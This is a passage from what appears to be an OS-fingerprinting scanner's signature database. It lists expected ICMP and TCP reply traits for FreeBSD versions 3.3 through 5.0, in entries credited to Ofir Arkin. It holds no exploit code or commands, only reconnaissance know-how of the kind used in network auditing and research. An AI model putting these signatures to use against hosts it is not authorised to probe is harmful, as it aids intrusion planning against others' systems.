#Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 65535 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 1 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 snmp_sysdescr = FreeBSD 5.0 } fingerprint { OS_ID = "FreeBSD 4.11" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 30 May 2005 #Modified: #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 57344 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "FreeBSD 4.10" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 13 December 2004 #Modified: #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 57344 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "FreeBSD 4.9" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 13 December 2004 #Modified: #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 57344 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "FreeBSD 4.8" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 5 April 2003 #Modified: 29 June 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 57344 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "FreeBSD 4.7" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 5 April 2003 #Modified: 29 June 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 57344 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "FreeBSD 4.6.2" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 25 June 2003 #Modified: 25 June 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 57344 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "FreeBSD 4.6" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 11 August 2002 #Modified: 20 March 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 57344 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "FreeBSD 4.5" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 29 July 2002 #Modified: 20 March 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 65535 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 1 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "FreeBSD 4.4" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 11 August 2002 #Modified: 20 March 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <64 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 17376 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "FreeBSD 4.3" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 11 August 2002 #Modified: 30 June 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 17520 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "FreeBSD 4.2" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 11 August 2002 #Modified: 05 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 17520 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "FreeBSD 4.1.1" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 11 August 2002 #Modified: 30 June 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 17520 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "FreeBSD 4.0" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 29 July 2002 #Modified: 20 March 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = BAD icmp_unreach_echoed_ip_id = FLIPPED icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = FLIPPED #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 17520 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "FreeBSD 3.5.1" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 11 July 2003 #Modified: 11 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = BAD icmp_unreach_echoed_ip_id = FLIPPED icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = FLIPPED #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 17520 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "FreeBSD 3.4" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 29 July 2002 #Modified: 29 June 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = 0 icmp_unreach_echoed_ip_cksum = BAD icmp_unreach_echoed_ip_id = FLIPPED icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = FLIPPED #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 17520 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <64 } fingerprint { OS_ID = "FreeBSD 3.3" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 11 August 2002 #Modified: 11 July 2003 